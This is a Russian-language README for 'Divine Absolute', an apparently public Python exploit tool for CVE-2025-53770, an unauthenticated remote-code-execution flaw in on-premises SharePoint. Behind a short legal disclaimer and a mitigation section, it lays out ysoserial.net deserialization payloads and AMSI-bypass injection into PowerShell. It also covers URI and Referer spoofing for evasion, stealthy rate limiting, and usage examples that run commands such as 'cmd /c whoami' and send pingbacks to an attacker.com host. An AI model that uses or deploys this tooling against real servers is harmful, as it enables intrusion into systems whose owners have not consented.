Divine Absolute — Инструмент эксплуатации CVE-2025-53770

Обзор

Divine Absolute — это сложный, управляемый мастером инструмент эксплуатации на Python, нацеленный на CVE-2025-53770, критическую (CVSS 9.8) уязвимость удалённого выполнения кода без аутентификации в локальных версиях Microsoft SharePoint Server (2016, 2019, Subscription Edition). Эта уязвимость, раскрытая как zero-day 19 июля 2025 года, возникает из-за десериализации недоверенных данных в /_layouts/15/ToolPane.aspx. Инструмент предназначен исключительно для этического тестирования на проникновение и авторизованных исследований безопасности, обеспечивая непревзойдённую точность, скрытность и адаптивность для разведки, эксплуатации и верификации.

Репозиторий: https://github.com/exfil0/CVE-2025-53770

⚠️ Юридическое предупреждение: Этот инструмент предназначен для законного, авторизованного использования только в контролируемых средах с явного разрешения. Несанкционированное использование против систем, которыми вы не владеете или не имеете разрешения на тестирование, незаконно и может повлечь серьёзные правовые последствия. Автор не несёт ответственности за неправомерное использование.

Возможности

• Режимы:
  • Recon: Обнаруживает наличие SharePoint, версию и доступность ToolPane.aspx с расширенной оценкой и регулярными выражениями (например, 16.0.0.\d+-\w+?).
  • Exploit: Доставляет полезные нагрузки через ToolPane.aspx с надёжными обходами.
  • Full: Объединяет разведку и эксплуатацию с опциональной агрессивной эксплуатацией.
• Генерация полезных нагрузок:
  • Интеграция ysoserial.net для полезных нагрузок десериализации .NET (например, ObjectDataProvider, LosFormatter).
  • Опциональный pythonnet для запасных HTTP/DNS pingback нагрузок (например, WebRequest.Create, Dns.GetHostEntry).
  • Поддержка сжатия GZIP с явным кодированием/декодированием и проверкой base64.
  • Внедрение обходов AMSI (базовое отражение, запутанное или пользовательское) в команды PowerShell, включая полезные нагрузки в base64 (-enc).
• Обходы:
  • Обход URI: случайные или фиксированные суффиксы (например, /xp.aspx, на основе UUID).
  • Подделка Referer: отсутствие, внешние домены (например, www.google.com), пользовательские URL или внутренние пути SharePoint (например, /_layouts/15/sharepoint.aspx).
• Скрытность:
  • Адаптивное ограничение скорости с минимальным порогом RPS (0.01) и контролем всплесков.
  • Потокобезопасная конкурентность с защищённой блокировкой синхронизацией и джиттером (0–0.1 с).
• Верификация:
  • Надёжное подтверждение RCE с компилированными регулярными выражениями (OR), повторными попытками при RequestException, настраиваемыми кодами состояния и путями.
• Разведка:
  • Расширенное обнаружение SharePoint через заголовки (например, MicrosoftSharePointTeamServices), пути (например, /versions.aspx) и регулярные выражения.
• Вывод:
  • Результаты в JSON с криминалистическим логированием для анализа.
• Удобство использования:
  • Интерактивный мастер для лёгкой настройки.
  • Поддержка Mono/Wine для ysoserial.net в системах, отличных от Windows.
  • Поддержка прокси (HTTP/SOCKS5) и настраиваемые таймауты.

Контекст CVE-2025-53770

• Уязвимость: Удалённое выполнение кода без аутентификации через десериализацию в /_layouts/15/ToolPane.aspx.
• Затронуты: SharePoint Server 2016, 2019, Subscription Edition (снятые с поддержки версии 2010/2013 также уязвимы).
• Не затронуты: SharePoint Online (M365).
• Эксплуатируется: С 18 июля 2025 года в кампаниях, таких как «ToolShell», спонсируемых государственными субъектами (например, Linen Typhoon).
• Исправления: Патчи Microsoft (например, KB5002768, KB5002754), выпущенные 19 июля 2025 года, полностью устраняют уязвимость. Включение в CISA KEV требует от федеральных структур установить патчи до 21 июля 2025 года.
• Смягчение: Установка патчей, смена ключей после патча, включение AMSI/Defender (полный режим), мониторинг POST-запросов к /ToolPane.aspx, использование правил WAF (например, Cloudflare).

Установка

Предварительные требования

• Python 3.8+
• Зависимости:

  pip install requests termcolor
  

• Опционально (для запасной сериализации .NET):

  pip install pythonnet
  

• ysoserial.net:
  • Загрузите с релизов ysoserial.net.
  • Поместите ysoserial.exe в известный путь (например, ./ysoserial.exe).
• Mono/Wine (системы, отличные от Windows):

  # Ubuntu/Debian
  sudo apt-get install mono-complete
  # macOS (через Homebrew)
  brew install mono
  

• Docker Lab (рекомендуется для тестирования):

  docker pull mcr.microsoft.com/sharepoint/server:2019
  

Настройка

1. Клонируйте репозиторий:

   git clone https://github.com/exfil0/CVE-2025-53770.git
   cd CVE-2025-53770
   

2. Установите зависимости Python:

   pip install -r requirements.txt
   

3. Убедитесь, что ysoserial.exe доступен, или укажите путь к нему во время выполнения.
4. (Опционально) Проверьте Mono/Wine для систем, отличных от Windows.

Использование

Запустите интерактивный мастер:

python divine_absolute.py

Рабочий процесс

1. Выбор режима:
   • Recon: Сканирует на наличие SharePoint и версию.
   • Exploit: Отправляет полезную нагрузку в ToolPane.aspx.
   • Full: Разведка + эксплуатация (опциональный агрессивный режим).
2. Ввод цели:
   • Одиночный URL (например, https://sharepoint.example.com).
   • Файл с URL (по одному на строку).
3. Настройка полезной нагрузки:
   • ysoserial.net: Укажите путь, гаджет (например, ObjectDataProvider) и команду (например, cmd /c whoami).
   • File: Загрузите полезную нагрузку base64 GZIP из файла.
   • String: Введите полезную нагрузку base64 GZIP напрямую.
   • Pingback: Сгенерируйте HTTP/DNS pingback (например, http://attacker.com/callback или sub.attacker.com).
   • Обход AMSI: выберите NONE, BASIC_REFLECTION, CONCAT_OBFUSCATED или пользовательский фрагмент.
4. Параметры обхода:
   • URI: NONE, FIXED (например, /xp.aspx), RANDOM (на основе UUID).
   • Referer: DEFAULT_SP, NO_REFERER, RANDOM_EXTERNAL, CUSTOM_URL.
5. Сетевые настройки:
   • Прокси (например, http://127.0.0.1:8080).
   • Потоки, таймаут, джиттер и ограничение скорости (RPS).
6. Верификация RCE:
   • Укажите путь (например, /sitepages/result.txt), регулярные выражения (например, Xanthorox.*), коды состояния (например, 200,403), количество попыток, задержку и таймаут.

Примеры команд

• Разведка:

  python divine_absolute.py
  # Выберите: Mode=Recon, Target=https://sharepoint.example.com
  

• Эксплуатация с ysoserial.net:

  python divine_absolute.py
  # Выберите: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
  #         ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
  #         Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
  

• Полный режим с верификацией:

  python divine_absolute.py
  # Выберите: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
  #         Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
  

• DNS Pingback:

  python divine_absolute.py
  # Выберите: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
  

Вывод